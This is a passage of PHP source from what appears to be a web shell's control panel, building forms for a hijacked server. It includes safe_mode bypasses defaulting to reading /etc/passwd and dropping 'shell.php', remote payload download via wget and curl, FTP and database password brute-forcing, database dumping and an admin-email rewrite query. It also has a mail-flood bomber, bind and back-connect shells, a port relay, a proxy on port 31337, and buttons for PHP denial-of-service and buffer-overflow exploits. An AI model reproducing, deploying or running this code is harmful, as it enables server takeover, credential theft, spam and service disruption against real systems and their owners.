2895echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2896echo $te.'</div>'.$table_end1.$fe;
2897}
2898
2899if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.0.0")<0){
2900echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
2901echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2902echo $te.'</div>'.$table_end1.$fe;
2903}
2904
2905if(($safe_mode || $open_basedir) && @function_exists('glob') && @version_compare(@phpversion(),"5.2.2")<=0){
2906echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
2907echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test18_file'])?($_POST['test18_file']):($dir))).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2908echo $te.'</div>'.$table_end1.$fe;
2909}
2910
2911if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
2912{
2913echo $fs.$table_up1.div_title($lang[$language.'_text130'],'id25').$table_up2.div('id25').$ts;
2914echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test11_file',96,(!empty($_POST['test11_file'])?($_POST['test11_file']):("/tmp/test.zip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test11').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2915echo $te.'</div>'.$table_end1.$fe;
2916}
2917
2918if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
2919{
2920echo $fs.$table_up1.div_title($lang[$language.'_text123'],'id26').$table_up2.div('id26').$ts;
2921echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test12_file',96,(!empty($_POST['test12_file'])?($_POST['test12_file']):("/tmp/test.bzip"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test12').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2922echo $te.'</div>'.$table_end1.$fe;
2923}
2924
2925if(($safe_mode || $open_basedir) && @function_exists('error_log') && @version_compare(@phpversion(),"5.2.2")<=0)
2926{
2927echo $fs.$table_up1.div_title($lang[$language.'_text124'],'id27').$table_up2.div('id27').$ts;
2928echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test13_file2',96,(!empty($_POST['test13_file2'])?($_POST['test13_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test13'));
2929echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test13_file1',96,(!empty($_POST['test13_file1'])?($_POST['test13_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
2930echo $te.'</div>'.$table_end1.$fe;
2931}
2932
2933if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.2")<=0)
2934{
2935echo $fs.$table_up1.div_title($lang[$language.'_text126'],'id28').$table_up2.div('id28').$ts;
2936echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test14_file2',96,(!empty($_POST['test14_file2'])?($_POST['test14_file2']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test14'));
2937echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test14_file1',96,(!empty($_POST['test14_file1'])?($_POST['test14_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
2938echo $te.'</div>'.$table_end1.$fe;
2939}
2940
2941if(($safe_mode || $open_basedir) && @function_exists('readfile') && @version_compare(@phpversion(),"5.2.2")<=0)
2942{
2943echo $fs.$table_up1.div_title($lang[$language.'_text127'],'id29').$table_up2.div('id29').$ts;
2944echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test15_file2',96,(!empty($_POST['test15_file2'])?($_POST['test15_file2']):($dir."/shell.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test15'));
2945echo sr(15,"<b>".$lang[$language.'_text125'].$arrow."</b>",in('text','test15_file1',96,(!empty($_POST['test15_file1'])?($_POST['test15_file1']):("<? phpinfo(); ?>"))).ws(4).in('submit','submit',0,$lang[$language.'_butt10']));
2946echo $te.'</div>'.$table_end1.$fe;
2947}
2948
2949if(($safe_mode || $open_basedir) && @version_compare(@phpversion(),"5.2.4")<=0)
2950{
2951echo $fs.$table_up1.div_title($lang[$language.'_text129'],'id16').$table_up2.div('id16').$ts;
2952echo sr(15,"<b>".$lang[$language.'_text65']." ".$lang[$language.'_text59'].$arrow."</b>",in('text','test16_file',96,(!empty($_POST['test16_file'])?($_POST['test16_file']):($dir."/test.php"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test16').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
2953echo $te.'</div>'.$table_end1.$fe;
2954}
2955
2956if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
2957{
2958echo $table_up1.div_title($lang[$language.'_text131'],'id17').$table_up2.div('id17').$ts;
2959echo "<tr><td valign=top width=70%>".$ts;
2960echo sr(20,"<b>".$lang[$language.'_text30'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
2961echo $te."</td><td valign=top width=30%>".$ts;
2962echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_2').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
2963echo $te."</td></tr>";
2964echo $te.'</div>'.$table_end1;
2965}
2966
2967if(($safe_mode || $open_basedir) && @function_exists('symlink') && @version_compare(@phpversion(),"5.2.2")<=0)
2968{
2969echo $table_up1.div_title($lang[$language.'_text132'],'id18').$table_up2.div('id18').$ts;
2970echo "<tr><td valign=top width=70%>".$ts;
2971echo sr(20,"<b>".$lang[$language.'_text4'].$arrow."</b>",$fs.in('text','test17_file',60,(!empty($_POST['test17_file'])?($_POST['test17_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_1').in('submit','submit',0,$lang[$language.'_text136']).$fe);
2972echo $te."</td><td valign=top width=30%>".$ts;
2973echo sr(0,"",$fs.in('hidden','dir',0,$dir).in('hidden','cmd',0,'test17_3').in('submit','submit',0,$lang[$language.'_butt8']).$fe);
2974echo $te."</td></tr>";
2975echo $te.'</div>'.$table_end1;
2976}
2977
2978
2979if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
2980echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
2981echo $table_up1.div_title($lang[$language.'_text5'],'id30').$table_up2.div('id30').$ts;
2982echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile0',85,''));
2983echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
2984echo $te.'</div>'.$table_end1.$fe;
2985}
2986
2987
2988if((!@function_exists('ini_get')) || @ini_get('file_uploads')){
2989echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
2990echo $table_up1.div_title('Multy '.$lang[$language.'_text5'],'id34').$table_up2.div('id34').$ts;
2991echo "<tr><td valign=top width=50%>".$ts;
2992echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile1',35,''));
2993echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile2',35,''));
2994echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile3',35,''));
2995echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile4',35,''));
2996echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile5',35,''));
2997echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile6',35,''));
2998echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile7',35,''));
2999echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile8',35,''));
3000echo $te."</td><td valign=top width=50%>".$ts;
3001echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile9',35,''));
3002echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile10',35,''));
3003echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile11',35,''));
3004echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile12',35,''));
3005echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile13',35,''));
3006echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile14',35,''));
3007echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile15',35,''));
3008echo sr(15,'',in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3009echo $te."</td></tr>";
3010echo $te.'</div>'.$table_end1.$fe;
3011}
3012
3013
3014$select='';
3015if((!@function_exists('ini_get')) || (@ini_get('allow_url_fopen') && @function_exists('fopen'))){$select = "<option value=\"fopen\">fopen</option>";}
3016if(!$safe_mode){
3017 if(which('wget')){$select .= "<option value=\"wget\">wget</option>";}
3018 if(which('fetch')){$select .= "<option value=\"fetch\">fetch</option>";}
3019 if(which('lynx')){$select .= "<option value=\"lynx\">lynx</option>";}
3020 if(which('links')){$select .= "<option value=\"links\">links</option>";}
3021 if(which('curl')){$select .= "<option value=\"curl\">curl</option>";}
3022 if(which('GET')){$select .= "<option value=\"GET\">GET</option>";}
3023}
3024if($select){
3025 echo $fs.$table_up1.div_title($lang[$language.'_text15'],'id31').$table_up2.div('id31').$ts;
3026 echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\">".$select
3027."</select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://'));
3028 echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
3029 echo $te.'</div>'.$table_end1.$fe;
3030}
3031
3032echo $fs.$table_up1.div_title($lang[$language.'_text86'],'id32').$table_up2.div('id32').$ts;
3033echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14']));
3034$arh = $lang[$language.'_text92'];
3035if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; }
3036if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
3037if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
3038echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
3039echo $te.'</div>'.$table_end1.$fe;
3040
3041if(@function_exists("ftp_connect")){
3042echo $table_up1.div_title($lang[$language.'_text93'],'id33').$table_up2.div('id33').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3043
3044echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text94']."</div></b></font>";
3045echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').in('hidden','dir',0,$dir));
3046echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
3047echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
3048echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
3049echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',0,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("root"))));
3050echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passwd.dic'))));
3051echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt1']));
3052
3053echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3054echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>";
3055echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
3056echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
3057echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("hmb@gov.sd"))));
3058echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
3059echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
3060echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
3061echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14']));
3062
3063echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3064echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>";
3065echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',20,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
3066echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',20,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
3067echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',20,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("hmb@gov.sd"))));
3068echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',20,$dir));
3069echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',20,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
3070echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir));
3071echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2']));
3072
3073echo $te."</td>".$fe."</tr></div></table>";
3074}
3075
3076
3077if(@function_exists("mail")){
3078echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3079echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>";
3080echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("name@email.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
3081echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("hmb@gov.sd"))));
3082echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("Excuse me!!"))));
3083echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("type here")).'</textarea>');
3084echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3085
3086echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3087echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>";
3088echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("name@email.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
3089echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("hmb@gov.sd"))));
3090echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("v4 Team sent you a file"))));
3091echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir));
3092echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh);
3093echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3094
3095echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3096echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>";
3097echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("user@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir));
3098echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("hmb@gov.sd"))));
3099echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
3100echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("ThIs Is FlOoD")).'</textarea>');
3101echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10)));
3102echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
3103
3104echo $te."</td>".$fe."</tr></div></table>";
3105}
3106
3107
3108if($mysql_on||$mssql_on||$pg_on||$ora_on)
3109{
3110$select = '<select name=db>';
3111if($mysql_on) $select .= '<option>MySQL</option>';
3112if($mssql_on) $select .= '<option>MSSQL</option>';
3113if($pg_on) $select .= '<option>PostgreSQL</option>';
3114if($ora_on) $select .= '<option>Oracle</option>';
3115$select .= '</select>';
3116
3117echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts;
3118echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>";
3119
3120echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute'));
3121echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3122echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
3123echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>");
3124echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']);
3125echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']);
3126echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
3127echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'/passwd.dic'))));
3128echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1']));
3129
3130echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3131echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
3132
3133echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
3134echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3135echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
3136echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
3137echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
3138echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
3139
3140echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;
3141echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";
3142
3143echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);
3144echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
3145echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
3146echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
3147echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
3148echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nUPDATE site_users set user_email='hmb@gov.sd' where user_email='admin@mail.com';\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>";
3149
3150echo "</td>".$fe."</tr></div></table>";
3151}
3152
3153
3154
3155if(!$safe_mode && $unix){
3156echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts;
3157echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";
3158echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'10411'));
3159echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'v4 Team'));
3160echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
3161echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
3162echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3163echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";
3164echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
3165echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'14011'));
3166echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));
3167echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
3168echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3169echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";
3170echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'10411'));
3171echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dal.net'));
3172echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667'));
3173echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));
3174echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
3175echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts;
3176echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>";
3177echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337'));
3178echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir));
3179echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
3180echo $te."</td>".$fe."</tr></div></table>";
3181}
3182
3183echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=50%>".$ts;
3184echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
3185echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe);
3186echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit exhaustion in [ pack() ] function').$fe);
3187echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF in [ unserialize() ] function').$fe);
3188echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'Limit integer calculate (65535) in ZendEngine').$fe);
3189echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [ dl() ] vulnerability').$fe);
3190echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [ preg_match() ] exhaustion resources (PHP <5.2.1)').$fe);
3191echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Memory_limit exhaustion in [ str_repeat() ] function (PHP <4.4.5,5.2.1)').$fe);
3192echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe);
3193echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload inodes from HD.I via [ tempnam() ] (PHP 4.4.2, 5.1.2)').$fe);
3194echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF in [ wordwrap() ] function (PHP <4.4.2,5.1.2)').$fe);
3195echo $te."</td><td valign=top width=50%>".$ts;
3196echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>";
3197echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF in [ array_fill() ] function (PHP <4.4.2,5.1.2)').$fe);
3198echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF in [ substr_compare() ] function (PHP <4.4.2,5.1.2)').$fe);
3199echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Array Creation in [ unserialize() ] 64 bit function (PHP <5.2.1)').$fe);
3200echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF in [ str_ireplace() ] function (PHP <5.2.x)').$fe);
3201echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF in [ htmlentities() ] function (PHP <5.1.6,4.4.4)').$fe);
